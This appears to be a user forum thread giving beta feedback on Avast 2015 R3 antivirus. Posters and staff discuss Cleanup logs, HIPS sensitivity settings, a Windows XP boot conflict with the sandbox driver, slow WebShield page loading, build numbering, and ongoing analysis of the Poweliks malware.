GrimeFighter2.log is log file for Cleanup - GrimeFighter is now Avast Cleanup . Or you don't have Cleanup installed?

Ok then, so this is some UI Smart Scan issue - trying to include performance issues step when this component is not installed at all. We will try find out why it happens. In this case it might be helpful to have your avast5.ini, if you can submit it on support page. And thanks for you time.

Did a clean install of Avast 2015 R3 (2015.10.3.2223) and it went successfully. The HIPS feature is freaking awesome. Thanks heaps Avast. Can't wait for 2016 release and come up with awesome features  ;D.

I've updated my Protection Tweaks for avast! 2015 with "special" adjustments to the newly introduced HIPS feature. It's adjusted in a way to provide maximum protection with minimal interaction required by the user. Basically I've set it to High sensitivity and to only detect malware like behavior. Seems like the best option currently and something I'll be using as well...

The issue with IE triggering a HIPS warning (seen on screenshot) is already fixed. If you want to test HIPS, use the middle or highest level of sensitivity and let us know, whether it somehow annoys you while regularly using your OS (especially installing new software etc). The currently most visible part should be realtime registry watching, which is supposed to block dangerous actions, but not to make a lot of noise with common applications.

well I still can on Windows XP replicate the issue with Avast! preventing OS startup

the only solution is to to get rid of C:\windows\drivers\aswSnx.sys

IMHO the Avast Sandbox driver is colliding with Kerio Firewall drivers but I'm not sure

yes unfortunately I still have some XP systems to keep eye on (can't wait to get rid of those later this year)

also it seems there is (was) issue with new Avast vs Tunderbird (on scanning of outgoing files) ...

It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.

Please can you write here the list of pages which load slowly?

About build number. It is intended to have same build number in beta channel after release. The advantage is, that the same build is in both channel and there is no risk in release or build process. Its the internal stuff but bring better quality for Avast build.

Latest Poweliks is currently being analysed, previous versions should be properly blocked.
